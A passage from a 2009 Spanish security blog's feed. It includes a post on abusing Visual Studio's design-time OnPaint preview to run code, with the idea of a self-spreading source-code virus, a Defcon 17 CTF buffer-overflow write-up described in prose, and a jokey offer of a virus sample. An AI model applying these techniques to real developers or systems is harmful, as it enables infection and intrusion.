unn amigo pero k no sea muy peligroso, no m podras ayudar?&lt;/em&gt;”&lt;/p&gt;  &lt;p align="justify"&gt;Posss ahora mismo…así no muy peligrosos…que solo frieguen un poco pues no sé…tengo el Win32\Gripe.A y sus recientes mutaciones si con eso te apañas…&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-7482027031019371558?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/7482027031019371558/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2009/11/que-arte.html#comment-form' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/7482027031019371558'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/7482027031019371558'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2009/11/que-arte.html' title='Qué arte!'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh4.ggpht.com/_FGFE7zLOsQk/SwcuF09xlPI/AAAAAAAAAOg/RCwu2BCrrlw/s72-c/fregado_thumb%5B6%5D.png?imgmax=800' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-3362308902254982474</id><published>2009-11-03T13:55:00.003+01:00</published><updated>2010-02-13T09:21:44.624+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='programación'/><title type='text'>Programa para obtener la IP pública</title><content type='html'>&lt;p&gt;Es un coñazo andar consultando páginas como cualesmiip para saber tu IP pública. Por eso me he creado un sencillo programa para que muestre la dirección IP por consola o la copie al portapapeles .&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh5.ggpht.com/_FGFE7zLOsQk/SvAoMNzQlYI/AAAAAAAAAOM/nqC3X6nT_9A/s1600-h/image%5B4%5D.png"&gt;&lt;img style="border-width: 0px; display: block; float: none; margin-left: auto; margin-right: auto;" title="image" alt="image" src="http://lh6.ggpht.com/_FGFE7zLOsQk/SvAoMjBrS7I/AAAAAAAAAOQ/SlGsgmceQvk/image_thumb%5B2%5D.png?imgmax=800" width="411" border="0" height="123" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;Añado el ejecutable a mi directorio de herramientas básicas, incluido en la variable PATH y a funcionar:&lt;/p&gt;  &lt;p align="center"&gt;&lt;a href="http://lh5.ggpht.com/_FGFE7zLOsQk/SvAoNAYgspI/AAAAAAAAAOU/blL-KjAMNIo/s1600-h/image%5B9%5D.png"&gt;&lt;img style="border-width: 0px; display: inline;" title="image" alt="image" src="http://lh4.ggpht.com/_FGFE7zLOsQk/SvAoNcYKhFI/AAAAAAAAAOY/g8AXvHmGsx4/image_thumb%5B5%5D.png?imgmax=800" width="297" border="0" height="99" /&gt;&lt;/a&gt;
Falsa IP.&lt;/p&gt;  &lt;p&gt;El –c es para que lo copie al portapapeles.&lt;/p&gt;  &lt;p&gt;Os lo subo &lt;a href="http://www.windowstecnico.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/windowstecnico/GetIP.rar"&gt;por aquí&lt;/a&gt; por si lo queréis tener.
Un saludo!
&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-3362308902254982474?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/3362308902254982474/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2009/11/programa-para-obtener-la-ip-publica.html#comment-form' title='8 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/3362308902254982474'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/3362308902254982474'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2009/11/programa-para-obtener-la-ip-publica.html' title='Programa para obtener la IP pública'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh6.ggpht.com/_FGFE7zLOsQk/SvAoMjBrS7I/AAAAAAAAAOQ/SlGsgmceQvk/s72-c/image_thumb%5B2%5D.png?imgmax=800' height='72' width='72'/><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-5114078643870493578</id><published>2009-09-15T00:32:00.001+02:00</published><updated>2009-09-15T00:32:54.970+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='virus'/><category scheme='http://www.blogger.com/atom/ns#' term='programación'/><title type='text'>¿Infectar código fuente?</title><content type='html'>&lt;p align="justify"&gt;Supongamos que estaba haciendo un programa en C# con Visual Studio en el que quería poner unos bonitos botones rosas:&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh4.ggpht.com/_FGFE7zLOsQk/Sq7EgYb8tnI/AAAAAAAAANs/rZebRbvBW6E/s1600-h/gogirls%5B2%5D.png"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: block; float: none; margin-left: auto; border-top: 0px; margin-right: auto; border-right: 0px" title="gogirls" border="0" alt="gogirls" src="http://lh5.ggpht.com/_FGFE7zLOsQk/Sq7Eg4DrBLI/AAAAAAAAANw/hzlPu2ctmrQ/gogirls_thumb.png?imgmax=800" width="195" height="164" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;En realidad es un control personalizado en el que he sobrescrito el método OnPaint, algo así:&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh4.ggpht.com/_FGFE7zLOsQk/Sq7Eh36aZ0I/AAAAAAAAAN0/GjrqbCzYLmk/s1600-h/image%5B20%5D.png"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: block; float: none; margin-left: auto; border-top: 0px; margin-right: auto; border-right: 0px" title="image" border="0" alt="image" src="http://lh4.ggpht.com/_FGFE7zLOsQk/Sq7Eiwc2I0I/AAAAAAAAAN4/hBrr0lNHf7A/image_thumb%5B14%5D.png?imgmax=800" width="411" height="161" /&gt;&lt;/a&gt;[Offtopic: Molaría poner en el blog algo que colorease el código fuente, pusiera el número de línea, unas scrollbars… ¿se podrá en blogspot?]&lt;/p&gt;  &lt;p align="justify"&gt;Hasta aquí todo mas o menos normal, pero es entonces cuando me fijo que el IDE, Visual Studio, en tiempo de diseño está mostrando el botón exactamente como quedaría una vez compilado y ejecutado el programa.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh6.ggpht.com/_FGFE7zLOsQk/Sq7EjqYl_GI/AAAAAAAAAN8/9pvsQ0ZYGKI/s1600-h/image%5B8%5D.png"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: block; float: none; margin-left: auto; border-top: 0px; margin-right: auto; border-right: 0px" title="image" border="0" alt="image" src="http://lh4.ggpht.com/_FGFE7zLOsQk/Sq7EkAXNqzI/AAAAAAAAAOA/JAkHTdHHn0E/image_thumb%5B4%5D.png?imgmax=800" width="240" height="217" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p align="justify"&gt;¿Pero como es posible? En tiempo de diseño Visual Studio no puede saber como quedará el botón que yo pinto manualmente, a no ser… que esté ejecutando el método OnPaint para ofrecer al programador una previsualización del formulario tal y como quedará en tiempo de ejecución. &lt;/p&gt;  &lt;p align="justify"&gt;Es decir Visual Studio va a ejecutar lo que halla en el método OnPaint de los controles personalizados que tengamos en el formulario que estemos previsualizando en ese momento. &lt;/p&gt;  &lt;p align="justify"&gt;¿Y si colocásemos en el método OnPaint código malicioso? Un developer que abriese el proyecto y visualizara el diseño del formulario ejecutaría sin saberlo el malvado código malicioso. Esto sería perfecto para infectar a un programador del que sabemos que es muy probable que abra confiadamente el proyecto que le pasemos y trastee felizmente con la interfaz.&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://rapidshare.com/files/280141385/MiCalculadora.zip.html"&gt;Desde aquí&lt;/a&gt; podéis bajaos un proyecto de Visual Studio que tras ser abierto y visualizado el form1.cs, se ejecutará la calculadora de Windows sin necesidad de compilar ni ejecutar el proyecto. Nota: Uso el registro “como un mutex” para que solo se ejecute una vez la calculadora.&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh6.ggpht.com/_FGFE7zLOsQk/Sq7EknpdHFI/AAAAAAAAAOE/oFEq07ku5Mk/s1600-h/image%5B19%5D.png"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://lh5.ggpht.com/_FGFE7zLOsQk/Sq7ElbvpjHI/AAAAAAAAAOI/LwaJ4aMI_AU/image_thumb%5B13%5D.png?imgmax=800" width="416" height="198" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p align="justify"&gt;Como he puesto que se ejecute la calculadora de Windows podía haber puesto que se ejecute un binario incluido en el proyecto o que lo descargue y ejecute o … algo mas interesante.&lt;/p&gt;  &lt;p align="justify"&gt;El código malicioso podría buscar todos los proyectos de Visual Studio e insertar en ellos un botón personalizado de 0x0 con un método OnPaint que haga exactamente lo mismo (buscar todos los proyectos e infectarlos, etc…). Y así infectaría todos los proyectos de VS de ese ordenador. Esto en un desarrollador que comparta sus códigos mediante SVN, SourceSafe o CodePlex, SourceSafe podría causar estragos. Sería como un virus en el código fuente.&lt;/p&gt;  &lt;p align="justify"&gt;Y esto me recuerda al virus W32/Induc comentado &lt;a href="http://blogs.eset-la.com/laboratorio/2009/08/20/win32-induc-infecta-archivos-delphi/"&gt;por aquí&lt;/a&gt;, &lt;a href="http://blogs.eset-la.com/laboratorio/2009/08/20/preguntas-frecuentes-sobre-induc/"&gt;por acá&lt;/a&gt;, &lt;a href="http://www.hispasec.com/unaaldia/3953"&gt;por allá&lt;/a&gt; y &lt;a href="http://www.securitybydefault.com/2009/08/virus-que-infectan-compiladores.html"&gt;por mas allá&lt;/a&gt;. Este virus infecta el compilador de Delphi, modifica una dependencia incluida en todos los ejecutables, de modo que cada ejecutable compilado con ese ordenador queda infectado y trata de infectar el compilador de Delphi de los usuarios que lo ejecuten.&lt;/p&gt;  &lt;p align="justify"&gt;¿Sería mas peligroso esto del código fuente? Le faltaría ya de paso no solo infectar el código fuente sino también los ejecutables generados como hace Induc y de paso una vez infectado el equipo eliminar del código fuente las rutinas maliciosas. &lt;/p&gt;  &lt;p align="justify"&gt;Por último quiero destacar que el hecho de que seamos capaces de ejecutar código sin compilar el proyecto tampoco es un gran logro, al fin y al cabo seguramente se conseguiría el mismo efecto insertando la rutina normalmente como parte del programa y esperando a que el programador lo compile y ejecute.&lt;/p&gt;  &lt;p align="justify"&gt;PD: No me gustan los botones rosas con bordes negros solo era un suponer ;)&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-5114078643870493578?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/5114078643870493578/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2009/09/infectar-codigo-fuente.html#comment-form' title='8 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/5114078643870493578'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/5114078643870493578'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2009/09/infectar-codigo-fuente.html' title='¿Infectar código fuente?'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh5.ggpht.com/_FGFE7zLOsQk/Sq7Eg4DrBLI/AAAAAAAAANw/hzlPu2ctmrQ/s72-c/gogirls_thumb.png?imgmax=800' height='72' width='72'/><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-3545238937012408472</id><published>2009-06-11T23:56:00.001+02:00</published><updated>2009-06-12T00:08:10.006+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cracking'/><title type='text'>Solución reto Pwtent Pwnables 100 Defcon 17 Quals</title><content type='html'>&lt;p align="justify"&gt;Que nombres mas raros Dios Santo. El pasado finde 6,7 de Junio se realizó una clasificación para asistir a la competición CTF, Capture The Flag, de la Defcon 17, en Las Vegas. Consiste en un montón de retos/pruebas/desafíos informáticos que hay que superar en equipo y así los 10 primeros van a Las Vegas para ver quien es el mejor del mundo. El nivel , altísimo. Suena guay, ¿verdad?&lt;/p&gt;  &lt;p align="justify"&gt;Mi querido &lt;a href="http://equilibrioinestable.wordpress.com/"&gt;Pedro Laguna&lt;/a&gt; nos invito a que nos apuntásemos con él a ver que se movía por ahí. Así que ahí estábamos el sábado 6 de madrugada Pedro, Manu (un compañero) y yo cagándonos en lo mal que funcionaba ese applet que era el panel de puntuación.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh3.ggpht.com/_FGFE7zLOsQk/SjFEjoLLRHI/AAAAAAAAALA/2M5pW5qs_vU/s1600-h/DefconFinal%5B3%5D.png"&gt;&lt;img style="border: 0px none ; display: block; float: none; margin-left: auto; margin-right: auto;" title="DefconFinal" alt="DefconFinal" src="http://lh5.ggpht.com/_FGFE7zLOsQk/SjFEpFtLv5I/AAAAAAAAALE/7r8MHBSN3vg/DefconFinal_thumb%5B1%5D.png?imgmax=800" width="401" border="0" height="287" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Las pruebas eran muy raras y no se daban demasiadas indicaciones sobre como superarlas, es parte del juego ;) &lt;/p&gt;  &lt;p align="justify"&gt;Yo me tope con una especie de ejecutable que pedía un serial, ummm eso sonaba bien, al menos podía abrirlo con OllyDbg e intentar hallar un serial.  
&lt;a href="http://indetectables.net/Descargas/08f8bfd7e119bd5bba941a14bb00d93b.exe"&gt;Aquí os lo cuelgo&lt;/a&gt;   
A continuación os cuento como lo resolví.   
&lt;/p&gt;  &lt;p align="justify"&gt;Nada mas abrirlo veo una consola que no hace nada, mas que dejar un puerto a la escucha:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p align="justify"&gt;TCP 0.0.0.0:&lt;strong&gt;5832&lt;/strong&gt; 0.0.0.0:0 LISTENING 1976&lt;/p&gt; &lt;/blockquote&gt;  &lt;p align="justify"&gt;Me conecto con netcat y me pide un serial ¿?&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh5.ggpht.com/_FGFE7zLOsQk/SjFEpko1MxI/AAAAAAAAALI/9IEJS1TcC_U/s1600-h/image%5B3%5D.png"&gt;&lt;img style="border: 0px none ; display: block; float: none; margin-left: auto; margin-right: auto;" title="image" alt="image" src="http://lh5.ggpht.com/_FGFE7zLOsQk/SjFEqA07nmI/AAAAAAAAALM/uSEbDnFWkPM/image_thumb%5B1%5D.png?imgmax=800" width="407" border="0" height="192" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;Perfecto, lo abro con el OllyDbg, busco las cadenas referenciadas en el código:&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh4.ggpht.com/_FGFE7zLOsQk/SjFEqjMoc2I/AAAAAAAAALQ/LjqCLZ5cLC4/s1600-h/image%5B11%5D.png"&gt;&lt;img style="border: 0px none ; display: block; float: none; margin-left: auto; margin-right: auto;" title="image" alt="image" src="http://lh3.ggpht.com/_FGFE7zLOsQk/SjFEwOoNwhI/AAAAAAAAALY/OKa9vWmnDVo/image_thumb%5B5%5D.png?imgmax=800" width="404" border="0" height="231" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;&lt;/p&gt;  &lt;p&gt;Ahí está la cadena “Well done!” la cual en teoría tiene que aparecer cuando introduzca el serial bueno. Perfecto: &lt;em&gt;Follow in Disassembler:&lt;/em&gt;&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh5.ggpht.com/_FGFE7zLOsQk/SjFE13ygkmI/AAAAAAAAALc/sOeM4ZzvJFE/s1600-h/image%5B17%5D.png"&gt;&lt;img style="border: 0px none ; display: block; float: none; margin-left: auto; margin-right: auto;" title="image" alt="image" src="http://lh3.ggpht.com/_FGFE7zLOsQk/SjFE4zYaueI/AAAAAAAAALg/mWlr81K8TU4/image_thumb%5B9%5D.png?imgmax=800" width="412" border="0" height="275" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p align="justify"&gt;Mira justo un par de instrucciones antes de mostrar ese mensaje se hace una comparación de cadenas, &lt;em&gt;strcmp&lt;/em&gt;, guay, pongo un breakpoint allí, veo lo que se está comparando y reto solucionado.&lt;/p&gt;  &lt;p align="justify"&gt;Pero no funciona…algo raro pasa, pongo otro breakpoint cuando directamente me muestra el mensaje de serial erróneo y tampoco se detiene.&lt;/p&gt;  &lt;p align="justify"&gt;Así que voy ejecutándolo desde el principio poco a poco para ver si tiene alguna protección o que… Veo una llamada a &lt;em&gt;accept&lt;/em&gt;, me conecto con netcat y entonces me encuentro que llega a esta función:&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh4.ggpht.com/_FGFE7zLOsQk/SjFE9luwDgI/AAAAAAAAALk/t7Jb9_DV72k/s1600-h/image%5B22%5D.png"&gt;&lt;img style="border: 0px none ; display: block; float: none; margin-left: auto; margin-right: auto;" title="image" alt="image" src="http://lh4.ggpht.com/_FGFE7zLOsQk/SjFFA7HzdsI/AAAAAAAAALo/G2J3Hm4jgDE/image_thumb%5B12%5D.png?imgmax=800" width="418" border="0" height="277" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p align="justify"&gt;Aja! Está creando un nuevo proceso por cada petición, es ese proceso el encargado de verificar si nuestro serial es correcto o no. Así que necesito abrir con OllyDbg el nuevo proceso, el proceso hijo, no este.&lt;/p&gt;  &lt;p align="justify"&gt;Resumen: al ejecutar el exe este se queda a la escucha en el puerto 5832 y por cada nueva conexión crea un proceso hijo que se encarga de recibir y verificar el serial que introducimos. Así que era normal que cuando ponía breakpoints en el proceso inicial no se detuvieran ahí nunca.&lt;/p&gt;  &lt;p align="justify"&gt;Tuve algunos problema iniciales para hacer &lt;em&gt;Attach&lt;/em&gt; con OllyDbg sobre el proceso hijo, pero tras pensarlo un rato (dormir), me doy cuenta de que es de lo mas fácil, no hay que hacer nada :) Simplemente ejecutar el programa inicial, conectarnos por netcat y entonces hacer &lt;em&gt;Attach&lt;/em&gt; sobre el proceso hijo.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh5.ggpht.com/_FGFE7zLOsQk/SjFFBF0n13I/AAAAAAAAALs/fEhfCCk-xBg/s1600-h/image%5B26%5D.png"&gt;&lt;img style="border: 0px none ; display: block; float: none; margin-left: auto; margin-right: auto;" title="image" alt="image" src="http://lh4.ggpht.com/_FGFE7zLOsQk/SjFFCPrWi0I/AAAAAAAAALw/vATpqa1X87Q/image_thumb%5B14%5D.png?imgmax=800" width="401" border="0" height="129" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p align="justify"&gt;En estos momentos el programa está esperando a que introduzcamos texto desde el netcat, así que pongo un breakpoint en recv, escribo algo en la consola donde tengo el netcat a la espera y llego a esta zona de código:&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh3.ggpht.com/_FGFE7zLOsQk/SjFFE5UWhqI/AAAAAAAAAL0/LIXae52CxCg/s1600-h/image%5B31%5D.png"&gt;&lt;img style="border: 0px none ; display: block; float: none; margin-left: auto; margin-right: auto;" title="image" alt="image" src="http://lh6.ggpht.com/_FGFE7zLOsQk/SjFFH6lhhSI/AAAAAAAAAL4/AZb17EzubIE/image_thumb%5B17%5D.png?imgmax=800" width="415" border="0" height="299" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p align="justify"&gt;Podemos ver dos bucles donde se reciben bytes hasta encontrar el salto de linea, \n, y entonces se comparan ambos.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh6.ggpht.com/_FGFE7zLOsQk/SjFFIl5uOEI/AAAAAAAAAL8/crVcx6ArcTs/s1600-h/image%5B36%5D.png"&gt;&lt;img style="border: 0px none ; display: block; float: none; margin-left: auto; margin-right: auto;" title="image" alt="image" src="http://lh4.ggpht.com/_FGFE7zLOsQk/SjFFNqx87vI/AAAAAAAAAMA/3WcZKnW3Ilc/image_thumb%5B20%5D.png?imgmax=800" width="423" border="0" height="306" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p align="justify"&gt;Así que en realidad se reciben dos líneas, claro! Ya decía yo que eso de dar dos veces al enter no era muy normal :) Estas dos líneas se comparan sin mas ¿? Aquí hay truco…vamos a a probar:&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh3.ggpht.com/_FGFE7zLOsQk/SjFFOM3ZK-I/AAAAAAAAAME/d6kq5IrI-Bc/s1600-h/image%5B41%5D.png"&gt;&lt;img style="border: 0px none ; display: block; float: none; margin-left: auto; margin-right: auto;" title="image" alt="image" src="http://lh3.ggpht.com/_FGFE7zLOsQk/SjFFOiZvb5I/AAAAAAAAAMI/j6Y6IP4f1Ic/image_thumb%5B23%5D.png?imgmax=800" width="245" border="0" height="84" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Uy que raro…es entonces cuando recapacito, ¿pero en serio que nos piden un serial? Pues no, lo que nos piden es que les petemos, si es que hay que leer el enunciado detenidamente antes de lanzarse a abrir el OllyDbg en cuanto vemos un exe…&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh5.ggpht.com/_FGFE7zLOsQk/SjFFOyh4wFI/AAAAAAAAAMM/JVnEhgGpixI/s1600-h/image%5B45%5D.png"&gt;&lt;img style="border: 0px none ; display: block; float: none; margin-left: auto; margin-right: auto;" title="image" alt="image" src="http://lh4.ggpht.com/_FGFE7zLOsQk/SjFFPYjJL4I/AAAAAAAAAMQ/8OD78qRJDBQ/image_thumb%5B25%5D.png?imgmax=800" width="412" border="0" height="96" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p align="justify"&gt;Efectivamente peta, ¿será un Stack Buffer Overflow? Vemos donde está guardando el contenido de la primera línea introducida:&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh5.ggpht.com/_FGFE7zLOsQk/SjFFTA1HnmI/AAAAAAAAAMU/RJ4DUvk-9pE/s1600-h/image%5B52%5D.png"&gt;&lt;img style="border: 0px none ; display: block; float: none; margin-left: auto; margin-right: auto;" title="image" alt="image" src="http://lh3.ggpht.com/_FGFE7zLOsQk/SjFFYSGMchI/AAAAAAAAAMY/LCx7Lf5gZyw/image_thumb%5B28%5D.png?imgmax=800" width="411" border="0" height="267" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p align="justify"&gt;Guarda el contenido de la primera línea en 22FDC0 (fijaos que esta es la segunda vez que pasa por bucle, en la primera yo no estaba ni “Attacheado” al proceso).&lt;/p&gt;  &lt;p align="justify"&gt;Ahora mirad en el contenido de la pila:&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh4.ggpht.com/_FGFE7zLOsQk/SjFFY_vr9bI/AAAAAAAAAMc/9PqFsrQLIkw/s1600-h/image%5B56%5D.png"&gt;&lt;img style="border: 0px none ; display: block; float: none; margin-left: auto; margin-right: auto;" title="image" alt="image" src="http://lh5.ggpht.com/_FGFE7zLOsQk/SjFFbUrGpRI/AAAAAAAAAMg/AqsSqAaS_Vc/image_thumb%5B30%5D.png?imgmax=800" width="417" border="0" height="206" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p align="justify"&gt;Uhhh bonito Stack Buffer Overflow. Escribiendo 64 bytes sobrescribimos la dirección de retorno de la función actual haciendo que cuando termine salte a donde queramos, esto pinta bien. Ahora solo falta un sitio donde meter las instrucciones que queremos que se ejecuten, la shellcode.&lt;/p&gt;  &lt;p align="justify"&gt;El primer bucle tiene una limitación:&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh4.ggpht.com/_FGFE7zLOsQk/SjFFb3TDOpI/AAAAAAAAAMk/VU7z51rstlY/s1600-h/image%5B78%5D.png"&gt;&lt;img style="border: 0px none ; display: block; float: none; margin-left: auto; margin-right: auto;" title="image" alt="image" src="http://lh5.ggpht.com/_FGFE7zLOsQk/SjFFcgBB7BI/AAAAAAAAAMo/M1C9ZFgH4Aw/image_thumb%5B44%5D.png?imgmax=800" width="416" border="0" height="49" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p align="justify"&gt;No deja escribir mas de 64 bytes, que casualidad ¿no? Pero teníamos dos bucles, el de la primera y el de la segunda línea.&lt;/p&gt;  &lt;p align="justify"&gt;El segundo bucle se guarda en la dirección 004099F8:&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh5.ggpht.com/_FGFE7zLOsQk/SjFFc0EcLbI/AAAAAAAAAMs/qrMM6_EbVy4/s1600-h/image%5B82%5D.png"&gt;&lt;img style="border: 0px none ; display: block; float: none; margin-left: auto; margin-right: auto;" title="image" alt="image" src="http://lh3.ggpht.com/_FGFE7zLOsQk/SjFFdkZ7MpI/AAAAAAAAAMw/rTbh1JvZtTs/image_thumb%5B46%5D.png?imgmax=800" width="420" border="0" height="106" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p align="justify"&gt;Y permite escribir todos los bytes que queramos hasta encontrar el salto de línea, así que nos sirve perfectamente para meter ahí la shellcode. Pero hay que tener cuidado, fijaos de nuevo en la situación de la pila en el primer bucle cuando íbamos a sobrescribir el valor de retorno, la dirección 0022FDEC (local.3) contiene el valor 004099F8:&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh6.ggpht.com/_FGFE7zLOsQk/SjFFhkEGbrI/AAAAAAAAAM0/GP5BxcXBJv0/s1600-h/image%5B67%5D.png"&gt;&lt;img style="border: 0px none ; display: block; float: none; margin-left: auto; margin-right: auto;" title="image" alt="image" src="http://lh5.ggpht.com/_FGFE7zLOsQk/SjFFm7pwT7I/AAAAAAAAAM4/30D3jOOQ8pc/image_thumb%5B35%5D.png?imgmax=800" width="417" border="0" height="307" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p align="justify"&gt;Si nuestro primer buffer sobrescribe ese valor el segundo bucle intentara escribir donde le hallamos dicho. A nosotros no nos interesa modificar ese valor, queremos dejarle como está, sobrescribir la dirección de retorno y escribir en el segundo buffer la shellcode.&lt;/p&gt;  &lt;p align="justify"&gt;Voy probando diferentes valores hasta dar con la primera línea a introducir:&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh3.ggpht.com/_FGFE7zLOsQk/SjFFoLA5xCI/AAAAAAAAAM8/y_izvJVDmLU/s1600-h/image%5B86%5D.png"&gt;&lt;img style="border: 0px none ; display: block; float: none; margin-left: auto; margin-right: auto;" title="image" alt="image" src="http://lh5.ggpht.com/_FGFE7zLOsQk/SjFFosTFK4I/AAAAAAAAANA/FOO7P6QLMrE/image_thumb%5B48%5D.png?imgmax=800" width="426" border="0" height="64" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p align="justify"&gt;64 bytes que dejan intacta la variable utilizada por el segundo buffer y que sobrescriben la dirección de retorno para que al finalizar la función el programa salte al segundo buffer donde meteremos directamente la shellcode.&lt;/p&gt;  &lt;p align="justify"&gt;Para la shellcode use la &lt;a href="http://metasploit.com:55555/PAYLOADS"&gt;página de metasploit&lt;/a&gt;, que poco h4x0r soy, ¿no?:&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh4.ggpht.com/_FGFE7zLOsQk/SjFFpDBKf6I/AAAAAAAAANE/R29vM_W8Kkw/s1600-h/image%5B93%5D.png"&gt;&lt;img style="border: 0px none ; display: block; float: none; margin-left: auto; margin-right: auto;" title="image" alt="image" src="http://lh6.ggpht.com/_FGFE7zLOsQk/SjFFpkr6ISI/AAAAAAAAANI/plCVhy9gOc0/image_thumb%5B51%5D.png?imgmax=800" width="415" border="0" height="274" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;&lt;/p&gt;  &lt;p&gt;&lt;/p&gt;  &lt;p&gt;&lt;/p&gt;  &lt;p&gt;&lt;/p&gt;  &lt;p&gt;&lt;/p&gt;  &lt;p&gt;&lt;/p&gt;  &lt;p&gt;&lt;/p&gt;  &lt;p&gt;&lt;/p&gt;  &lt;p&gt;&lt;/p&gt;  &lt;p&gt;&lt;/p&gt;  &lt;p&gt;&lt;/p&gt;  &lt;p&gt;&lt;/p&gt;  &lt;p&gt;&lt;/p&gt;  &lt;p&gt;&lt;/p&gt;  &lt;p&gt;&lt;/p&gt;  &lt;p&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Solo hay que tener cuidado con que la shellcode no haga uso del carácter de salto de línea, 0x0A ya que nuestra función busca ese carácter para buscar el fin de las distintas líneas.&lt;/p&gt;  &lt;p align="justify"&gt;Desde la página de retos se suministraba esta dirección para ser atacada:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p align="justify"&gt;pwn2.ddtek.biz 